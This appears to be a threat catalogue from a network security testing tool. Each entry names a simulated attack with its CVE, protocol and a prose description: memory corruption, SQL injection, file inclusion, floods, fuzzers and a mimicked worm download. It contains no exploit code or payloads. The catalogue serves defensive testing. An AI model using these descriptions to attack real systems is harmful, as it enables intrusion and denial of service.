Detailed Description:	This threat causes a buffer overflow in the Indiatimes Messenger application. It is caused by sending a malicious website which calls the ActiveX component for the messenger software. This can lead to remote system compromise. This threat is sent from a website, which typically listens on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2844
OSVDB:	19108
Threat Package:	Standard
Threat File Name:	FSC20090722-06_Mozilla_Firefox_SVG_Element_Processing_Memory_Corruption.xml
Executive Description:	Mozilla Firefox SVG Element Processing Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Mozilla Firefox. The flaw is due to an implementation error while handling SVG elements. A remote attacker can exploit this vulnerability by persuading a target user to open a malicious webpage. Successful attacks could allow for arbitrary code injection and execution within the security privileges of the currently logged on user. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. In the case of an unsuccessful code execution attack, Firefox may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-2469
Threat Package:	Standard
Threat File Name:	FSC20100303-01_Microsoft_Windows_winhlp32_exe_MsgBox_Remote_Code_Execution.xml
Executive Description:	Microsoft Windows winhlp32.exe MsgBox Remote Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft Windows. The vulnerability is caused by a design weakness in the winhlp32.exe module. Specifically, it is due to the way that the VBScript function MsgBox interacts with Windows Help files when using Internet Explorer. Remote unauthenticated attackers can exploit this vulnerability by enticing the target user to open a malicious website and then press F1 key when a specially crafted dialog box is displayed. This may lead to execution of arbitrary code on the target system within the security context of the currently logged in user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0483
Threat Package:	Standard
Threat File Name:	FSC20091208-10_Microsoft_Internet_Explorer_Uninitialized_Object_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Uninitialized Object Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to a memory corruption error in the way Internet Explorer handles uninitialized objects. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged-on user. In case of successful attack the behaviour of the target machine is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-3673
Threat Package:	Standard
Threat File Name:	TSL20120626-05_Zend_Technologies_Zend_Framework_Zend_XmlRpc_Information_Disclosure_IPv6.xml
Executive Description:	Zend Technologies Zend Framework Zend_XmlRpc Information Disclosure(IPv6)
Detailed Description:	An information-disclosure vulnerability exists in Zend Technologies Zend Framework. The vulnerability is due to insecure use of the SimpleXMLElement class while parsing XML data. A remote, unauthenticated attacker can leverage this vulnerability by adding an external Entity to XML-RPC requests to open arbitrary files and/or TCP connections. Successful exploitation would result in the disclosure of information from local files.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-3363
OSVDB:	83221
Threat File Name:	FSC20070515-21_Samba_SRVSVN_RPC_sec_io_acl_Request_Handling_Heap_Buffer_Overflow.xml
Executive Description:	Samba SRVSVN RPC sec_io_acl Request Handling Heap Buffer Overflow
Detailed Description:	A heap-based buffer overflow vulnerability exists in the way Samba handles RPC messages. The vulnerability is due to a boundary error while performing specific RPC operations. Remote unauthenticated attackers can exploit this vulnerability by sending a specially crafted RPC request to the SRVSVN RPC interface. Successful exploitation of this vulnerability allows attackers to execute arbitrary code on the vulnerable system in the context of the affected process.

Protocol Type:	SMB
CVEID:	CVE-2007-2446
Threat Package:	Standard
Threat File Name:	TCPfinack_IPv6.xml
Executive Description:	TCP FIN/ACK packet (IPv6 Version)
Detailed Description:	This threat sends a flood of empty TCP packets with the FIN and ACK flags set, causing a variety of problems in the Windows kernel by causing a memory leak. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2002-1712
OSVDB:	21598
Threat Package:	Standard
Threat File Name:	sshBrute.xml
Executive Description:	SSH Brute Forcer Mimicking
Detailed Description:	This threat sends out the same Client Protocol field as the SSH brute forcer that is popularly used to discover accounts with weak passwords. The client field can also be used for legitimate applications but would rarely be seen used for this purpose. SSH typically listens on port 22.
Protocol Type:	SSH
Threat Package:	Standard
Threat File Name:	cisco_sip1.xml
Executive Description:	Cisco IP Phone Denial of Service
Detailed Description:	This threat sends out a malformed SIP packet that causes the screen to stop responding on Cisco IP Phones running with vulnerable software.
Protocol Type:	SIP
CVEID:	CVE-2003-1109
OSVDB:	15412
Threat Package:	Standard
Threat File Name:	zotobE.xml
Executive Description:	Zotob Variant Malware Download
Detailed Description:	This threat mimics the downloading of spyware that is performed by the Win32.Zotob.E worm. This is the second stage of the worm after the PNP vulnerability has been exploited. This threat mimics the downloading off of a malicious website. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20100330-06_Microsoft_Internet_Explorer_Uninitialized_Object_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Uninitialized Object Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer web browser. The vulnerability is due to an error while accessing an object that has been already deleted or not initialized. This would result in accessing arbitrary memory content and can be exploited for code execution. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged-on user. The behaviour of the target machine is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.(IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
CVEID:	CVE-2010-0490
Threat Package:	Standard
Threat File Name:	FSC20110412-09_Microsoft_Windows_GDIplus_EMF_handling_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows GDIplus EMF handling Integer Overflow(IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists Microsoft Windows Graphics Device Interface (GDI+). The vulnerability is due to an error in integer calculations when handling EMF files, which can cause memory corruption. A remote unauthenticated attacker could exploit this vulnerability by enticing a user to open or view (potentially via a web page) a specially crafted EMF file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0041
Threat File Name:	mercury_mail_bof_IPv6.xml
Executive Description:	Mercury/32 Mail Server <= 4.01b (check) Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a large buffer sent to a Imap Mercury MailServer to cause a denial of service condition or possibly the execution of arbitrary code. Mercury Mail Server is a imap server that typically listens on port 143. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2006-5961
Threat Package:	Standard
Threat File Name:	FSC20071211-16_Microsoft_Windows_Message_Queueing_Service_String_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Message Queuing Service String Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the way Microsoft Windows Message Queuing Service handles incoming messages. The vulnerability is due to insufficient boundary checking on the strings within the messages that are received by the vulnerable interface. Remote unauthenticated attackers can exploit this vulnerability by sending specially crafted messages to the affected interface. Successful exploitation may lead to arbitrary code execution with System level privileges.
Protocol Type:	DCERPC
CVEID:	CVE-2007-3039
Threat Package:	Standard
Threat File Name:	MSRPC_DOS.xml
Executive Description:	MS01-041 Windows 2000 RPC Denial of Service
Detailed Description:	This threat causes a crash in the Windows 2000 RPC service, which listens on port 135. This threat represents a large class of threats which are capable of crashing MS-RPC.
Protocol Type:	DCOM
CVEID:	CVE-2001-0509

OSVDB:	10160
Threat Package:	Standard
Threat File Name:	TSL20140203-01_MW6_Technologies_MaxiCode_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	MW6 Technologies MaxiCode ActiveX Control Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in MW6 Technologies MaxiCode ActiveX Control. The vulnerability is due to improperly handled user input in the 'Data' parameter. A remote attacker can exploit this vulnerability by crafting a malicious HTML document causing a buffer overflow. Successful exploitation could lead to code execution in the security context of the affected user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-6040
OSVDB:	102323
Threat File Name:	TSL20170331-03_HPE_Intelligent_Management_Center_FileDownloadServlet_fileName_Directory_Traversal_IPv6.xml
Executive Description:	HPE Intelligent Management Center FileDownloadServlet fileName Directory Traversal (IPv6 Version)
Detailed Description:	An directory traversal vulnerability has been reported in HPE Intelligent Management Center. The vulnerability is due to a lack of proper input sanitization on the fileName parameter in FileDownloadServlet. A remote attacker can exploit this vulnerability by sending a maliciously crafted HTTP request. Successful exploitation results in the disclosure of arbitrary file contents from the system.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-5795
Threat File Name:	fuzz-HSRP_VirtualIP.xml
Executive Description:	Fuzzer for Protocol:HSRP and Field:VirtualIP
Detailed Description:	
Protocol Type:	HSRP
Threat Package:	Fuzzing
Threat File Name:	ms03-043_IPv6.xml
Executive Description:	Microsoft Messenger Buffer Overflow (IPv6 Version)
Detailed Description:	This threat attempts to execute code on the target Windows machine through a flaw in Microsoft Messaging. It targets Microsoft's DCOM system, which typically listens on port 135. This version of this threat will send out a ethernet JUMBO frame (MTU > 1500 bytes). This is useful for testing IPS that should be able to handle jumbo firms and buggy ethernet drivers. (IPv6 Version)
Protocol Type:	DCOM/IPv6
CVEID:	CVE-2003-0717
OSVDB:	10936
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_plus_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with + (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with + from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	ms04-015dvd.xml
Executive Description:	MS04-015 Microsoft Help DVD Help Arbitrary File Download
Detailed Description:	This threat attempts to cause Internet Explorer to download and execute a file through a third party website without prompting the user. This can allow a malicious webpage to load any file that they wish. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2004-0199
OSVDB:	6053
Threat Package:	Standard
Threat File Name:	TSL20111213-06_Microsoft_Time_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft Time Remote Code Execution(IPV6 VERSION)
Detailed Description:	A code execution vulnerability has been reported in the Microsoft Time component. The vulnerability is due to insufficient input validation while handling certain parameters. A remote, unauthenticated attacker can exploit this vulnerability by enticing an unsuspecting user to visit a maliciously crafted web site. This can lead to code execution in the context of the affected user. If code execution is unsuccessful, then the affected application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-3397
Threat File Name:	filezilla_bof.xml
Executive Description:	FileZilla Server Long Username Buffer Overflow
Detailed Description:	This threat sends a crafted ftp command with an excessively long username to trigger a buffer overflow. FileZilla is an ftp server that typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2005-3589
OSVDB:	20817
Threat Package:	Standard
Threat File Name:	FSC20080806-16_Cisco_Webex_Meeting_Manager_atucfobj_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	Cisco Webex Meeting Manager atucfobj ActiveX Control Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Cisco Webex Meeting Manager application. The vulnerability is caused due to insufficient boundary checking when an overly long parameter is passed to the affected ActiveX control. An attacker may exploit this vulnerability by enticing a target user to open a malicious web page. Successful exploitation could lead to injection and execution of arbitrary code in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	links_mgr_app_sql_i_IPv6.xml
Executive Description:	Monitor-Line Links Management Index.PHP SQL Injection Vulnerability (IPv6 Version)

Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Links Management is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100608-21_Microsoft_Office_Excel_RealTimeData_Record_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel RealTimeData Record Parsing Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel 2002. The vulnerability is due to the way the vulnerable product parses Excel documents, allowing for memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-1247
Threat Package:	Standard
Threat File Name:	links_mgr_app_sqli.xml
Executive Description:	Monitor-Line Links Management Index.PHP SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Links Management is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20141106-12_ManageEngine_EventLog_Analyzer_Hostdetails_Information_Disclosure.xml
Executive Description:	ManageEngine EventLog Analyzer Hostdetails Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in ManageEngine EventLog Analyzer. The vulnerability is due to a failure to restrict access to confidential data in the HostDataServlet servlet. A remote unauthenticated attacker can exploit the vulnerability to disclose administrator credentials. Tester should set variable \$destPort to 8400 before test.
Protocol Type:	HTTP
CVEID:	CVE-2014-6039
OSVDB:	114344
Threat File Name:	firefox_dos.xml
Executive Description:	Mozilla Firefox NULL Pointer Dereference DoS
Detailed Description:	This server based threat sends a normal, unmanaged HTML document which causes a NULL pointer dereference in the Firefox web browser. This threat is delivered via HTTP which typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	TSL20121212-06_Microsoft_Internet_Explorer_Mouse_Movement_Information_Disclosure.xml
Executive Description:	Microsoft Internet Explorer Mouse Movement Information Disclosure
Detailed Description:	Microsoft Internet Explorer is vulnerable to an information disclosure vulnerability. The vulnerability allows a web page to track mouse movements using script code, even if the page is not active or in focus. This can also track the state of Ctrl, Shift and Alt keys. A remote attacker can exploit this vulnerability by enticing a user to visit a crafted web page. Successful exploitation would result in the disclosure of mouse movements. This may have particular consequences when using virtual keyboards or graphical authentication methods.
Protocol Type:	HTTP,HTTPS
OSVDB:	88357
Threat File Name:	xoops_lfi.xml
Executive Description:	XOOPS Mainfile.PHP Local File Include Vulnerability
Detailed Description:	This threat sends a crafted HTTP GET query which allows arbitrary inclusion of PHP or HTML code This may allow unauthorized users to view files and to execute local scripts. An attacker may also be able to execute arbitrary code by way of uploaded avatars.XOOPS is a web application with typically listens on port 80.
Protocol Type:	HTTP
OSVDB:	25683
Threat Package:	Standard
Threat File Name:	TSL20160112-06_Microsoft_Silverlight_String_Decoder_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Silverlight String Decoder Memory Corruption(IPv6 version)
Detailed Description:	A code execution vulnerability has been reported in Microsoft Silverlight. The vulnerability is due to a lack of offset verification after a user-supplied decoder finishes decoding strings while processing Web content.A remote attacker could exploit this vulnerability by enticing a victim user to visit a maliciously crafted Web page. Successful exploitation could allow the attacker to execute arbitrary code under the security context of the user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2016-0034
Threat File Name:	KshGetRootFlood.xml
Executive Description:	KSH Get Root Flood
Detailed Description:	This threat floods a user specified target with TCP PSH/ACK packets from a user specified source IP address containing the instructions '/bin/ksh' in the first packet and 'execve' in the second sequential packet. These instructions will be present when a remote user injects shellcode in an attempt to obtain root privileges. This attack may be enhanced by randomizing the source IP address.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	TSL20130611-12_Microsoft_Internet_Explorer_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer Use After Free
Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.

Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2013-3111
OSVDB:	94106
Threat File Name:	FSC20080602-04_Alt-N_Technologies_SecurityGateway_username_Buffer_Overflow_IPv6.xml
Executive Description:	Alt-N Technologies SecurityGateway username Buffer Overflow (IPv6 Version)
Detailed Description:	A stack-based buffer overflow vulnerability exists in Alt-N Technologies SecurityGateway. The vulnerability is due to a boundary error in the processing of HTTP requests sent to the administrative web interface. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted HTTP POST request to the target server, potentially causing arbitrary code injection and execution with the privileges of the affected process, normally System. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	gom_player_activex_bof.xml
Executive Description:	GOM Player 2.1.6.3499 GomWeb Control (GomWeb3.dll 1.0.0.12) remote buffer overflow vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the GOM Player GomWeb Control (GomWeb3.dll) ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5779
Threat Package:	Standard
Threat File Name:	FSC20100608-17_Microsoft_Office_Excel_Chart_Object_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Excel Chart Object Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to the way the vulnerable product parses Excel documents, allowing for memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-0823
Threat Package:	Standard
Threat File Name:	ms05-038_mov_fencepost.xml
Executive Description:	Internet Explorer JPEG Image Corruption mov_fencepost
Detailed Description:	This threat causes a crash in Internet Explorer. It is caused by the downloading of a malformed JPEG image from a webserver. Webservers typically listen on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-1988
OSVDB:	18610
Threat Package:	Standard
Threat File Name:	ethereal_slimp.xml
Executive Description:	Ethereal SLIMP DOS
Detailed Description:	This threat sends a malformed SLIMP packet that causes ethereal protocol sniffer to crash. This can be used to hide an attackers tracks, or launch code on the sniffers machine. This threat sends out a single UDP packet to port 1069.
Protocol Type:	SLIMP
CVEID:	CVE-2005-3243
OSVDB:	20126
Threat Package:	Standard
Threat File Name:	jommlapack_rfi.xml
Executive Description:	Jommla Component JoomlaPack 1.0.4a2 RE (CAltInstaller.php) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Jommla is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	fuzz-IP_HeaderChecksum_IPv6.xml
Executive Description:	Fuzzer for Protocol:IP and Field:HeaderChecksum (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	IP/IPv6
Threat Package:	Fuzzing
Threat File Name:	sipbadversion_IPv6.xml
Executive Description:	SIPPING: Bad Version (Version Too High) (IPv6 Version)
Detailed Description:	This threat sends out a SIP OPTIONS message with the version set to 7.0. This is invalid according to RFC 3261 (current version is 2.0), so should be rejected. Because it is unexpected, this may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20040721-01_PHP_strip_tags()_Bypass_Vulnerability_IPv6.xml
Executive Description:	PHP strip_tags() Bypass Vulnerability (IPv6 Version)
Detailed Description:	A vulnerability exists in the HTML tag filtering method of PHP. PHP does not properly filter tags containing a null byte, allowing potentially unsafe tags to be passed on to further processing. This vulnerability allows an attacker to inject malicious script and use the vulnerable PHP in a cross-site scripting attack. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0595
Threat Package:	Standard

Threat File Name:	TSL20110621-08_Mozilla_Multiple_Products_Array_reduceRight_Integer_Overflow.xml
Executive Description:	Mozilla Multiple Products Array.reduceRight Integer Overflow
Detailed Description:	An integer overflow vulnerability has been identified in Mozilla applications. The vulnerability is due to an integer overflow occurring when the reduceRight() method is called on a JavaScript array with an extremely large length. Remote attackers can exploit this vulnerability by enticing target users to open a malicious web page or file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged-on user. In case of a successful attack, the behaviour of the target depends on the intention of the malicious code. If an attack leveraging these vulnerabilities fails, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,SMTP
CVEID:	CVE-2011-2371
Threat File Name:	http_index_IPv6.xml
Executive Description:	HTTP INDEX request (IPv6 Version)
Detailed Description:	This threat performs a HTTP INDEX request. This can cause a webserver to disclose a listing of files when the server is setup in a fashion to prevent this. This can be used to launch further attacks to access elements of the website which are typically non-viewable. The threat affects web servers, which typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	phpBBAuthen_IPv6.xml
Executive Description:	phpBB Authentication Bypass (IPv6 Version)
Detailed Description:	This threat is an attempt to bypass authentication on a phpBB bulletin board application. This allows a user to use the website as an admin. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140206-02_Apache_Tomcat_FileUpload_Content_Type_Header_Infinite_Loop.xml
Executive Description:	Apache Tomcat FileUpload Content-Type Header Infinite Loop
Detailed Description:	An infinite loop vulnerability exists in Apache Tomcat. The vulnerability is due to insufficient boundary checks when processing the Content-Type header of a multipart request. A remote attacker could exploit this vulnerability by sending a large amount of data to the server causing it to use up excessive resources. Successful exploitation could cause a denial of service condition on the server. Tester can set variable \$HTTPDestPort to 80, 8080, and 443 before test.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-0050
OSVDB:	102945
Threat File Name:	wmnews_rfi.xml
Executive Description:	WMNews admin.php File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. WMNews is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	witshare_rfi.xml
Executive Description:	WitShare 0.9 index.php Local File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. WitShare is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	TSL20150512-13_Microsoft_Office_File_Modification_Password_Use_After_Free.xml
Executive Description:	Microsoft Office File Modification Password Use After Free
Detailed Description:	A use-after-free vulnerability exists in Microsoft Office 2007. The vulnerability is due to problematic code that parses Office documents with modification password protection. A remote attacker could exploit this vulnerability by enticing a user to open a crafted Office document. Successful exploitation could result in arbitrary code execution with the privileges of the currently logged on user.
Protocol Type:	HTTP/HTTPS/IMAP/SMTP/SMB/CIFS
CVEID:	CVE-2015-1683
Threat File Name:	badblueBof.xml
Executive Description:	BadBlue Buffer Overflow
Detailed Description:	This threat takes advantage of a buffer overflow contained in the BadBlue file sharing web extension for Microsoft IIS. This is exploited for remote code execution and entrance into vulnerable systems. BadBlue is an extension that listens on a webserver, typically on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-0595
OSVDB:	14238
Threat Package:	Standard
Threat File Name:	FSC20040504-03_Serv-U_LIST_parameter_Buffer_Overrun_IPv6.xml
Executive Description:	Serv-U LIST parameter Buffer Overrun (IPv6 Version)
Detailed Description:	Serv-U FTP server, a popular Windows FTP server, is vulnerable to a buffer overrun. Serv-U FTP server versions 5.0.0.4 and below do not correctly validate input when an FTP LIST or NLST command is run with long malformed parameters. An attack using this vulnerability can crash the remote FTP service on the remote target. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2004-1992
Threat Package:	Standard
Threat File Name:	minis_IPv6.xml
Executive Description:	Minis Denial of Service Attack (IPv6 Version)
Detailed Description:	This threat sends out a HTTP request that causes Minis to retrieve a file ending in .log off of a server. Minis is a small open source web logging application. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0293
OSVDB:	13008
Threat Package:	Standard

Threat File Name:	foing_cmi_a.xml
Executive Description:	Foing 0.7.0 (phpBB) Remote File Inclusion Vulnerability
Detailed Description:	This threat send a crafted HTTP query containing a path to an arbitrary file which is included by the server and executed via index.phps "phpbb_root_path" parameter. Foing is a web based application with typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120612-18_Microsoft_Internet_Explorer_Title_Element_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer Title Element Use After Free
Detailed Description:	A remote code execution vulnerability exists in Internet Explorer. The vulnerability is due to the use of an object after it has been deleted (use-after-free) when handling crafted scripts interacting with the Title element. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open either an HTML document with Internet Explorer. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-1877
OSVDB:	82867
Threat File Name:	webadmin.xml
Executive Description:	WebAdmin Buffer Overflow Attempt
Detailed Description:	This threat sends a POST request to the WebAdmin system, which allows an attacker to execute remote code on the server. WebAdmin typically listens on either port 80 or port 1000.
Protocol Type:	HTTP
CVEID:	CVE-2003-0471
OSVDB:	2653
Threat Package:	Standard
Threat File Name:	TSL20150923-03_GE_MDS_PulseNET_Hidden_Support_Account_Remote_Code_Execution_IPv6.xml
Executive Description:	GE MDS PulseNET Hidden Support Account Remote Code Execution IPv6 version.
Detailed Description:	A default credential vulnerability has been reported in GE MDS PulseNET. The vulnerability is due to static credentials of a hidden support account permitting administrator access to the system. A remote attacker can exploit these default credentials to access the system. Once authenticated, the attacker can perform various administrative tasks. This may lead to the execution of arbitrary code under the permissions of System. Tester should set the variable \$destPort to 8080 before test.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2015-6456
Threat File Name:	etherealSIP_IPv6.xml
Executive Description:	Ethereal SIP Denial Of Service (IPv6 Version)
Detailed Description:	This threat causes a stack overflow in the Ethereal packet dissector for the SIP protocol. This can be used by an attacker to either run remote code on a sniffing workstation, or cause a crash, preventing the network administrator from viewing other attacks in the same network stream. (IPv6 Version)
Protocol Type:	SIP/IPv6
CVEID:	CVE-2005-1461
OSVDB:	16099
Threat Package:	Standard
Threat File Name:	sophos_rar_dos_IPv6.xml
Executive Description:	Sophos Antivirus RAR File Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in Sophos Antivirus's handling of a specially crafted RAR file resulting a denial-of-service condition. Sophos Antivirus is a client application. This attack uses a web server listening on port 80 for payload delivery. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5645
Threat Package:	Standard
Threat File Name:	TSL20130312-09_Microsoft_Internet_Explorer_GetMarkupPtr_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer GetMarkupPtr Use After Free
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused by a Use-After-Free error in the GetMarkupPtr function when processing script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0092
OSVDB:	91143
Threat File Name:	FSC20071204-14_VideoLAN_VLC_ActiveX_Control_Crafted_Parameter_Memory_Corruption.xml
Executive Description:	VideoLAN VLC ActiveX Control Crafted Parameter Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in VideoLAN VLC media player ActiveX control. The flaw is due to recursive object release. A remote attacker may exploit this vulnerability by enticing the target user to visit a malicious web site. Successful attack may allow for arbitrary code being injected and executed with the privileges of the currently logged on user.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	coppermine_lfi_IPv6.xml
Executive Description:	Coppermine <= 1.4.12 Local File Inclusion (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. Coppermine is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	FSC20100512-03_HP_OpenView_NNM_snmpviewer.exe_CGI_Stack_Buffer_Overflow.xml
Executive Description:	HP OpenView NNM snmpviewer.exe CGI Stack Buffer Overflow

Detailed Description:	A stack buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in the snmpviewer.exe CGI program when processing certain parameters sent in a crafted HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP POST request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the web server process. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code.
Protocol Type:	HTTP
CVEID:	CVE-2010-1552
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-PUT_PrependedHTTPWithformats_IPv6.xml
Executive Description:	Fuzz HTTP PUT with Request-URI prepended with %s (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by prepending %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20140312-03_SpringSource_Spring_Framework_Jaxb2RootElementHttpMessageConverter_XML_External_Entity_IPv6.xml
Executive Description:	SpringSource Spring Framework Jaxb2RootElementHttpMessageConverter XML External Entity(IPv6 Version)
Detailed Description:	An XML external entity vulnerability exists in SpringSource Spring Framework. The vulnerability is due to incorrectly configured XML parsing in Jaxb2RootElementHttpMessageConverter, which accepts XML external entities from untrusted sources. This vulnerability is due to an incomplete fix for CVE-2013-4152 and CVE-2013-6429. A remote, unauthenticated attacker can leverage this vulnerability by sending a malicious request to the target server. Successful exploitation would result in the disclosure of information from arbitrary files available in the security context of the server application, server-side request forgery, denial of service and potentially policy bypass.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0054
OSVDB:	104389
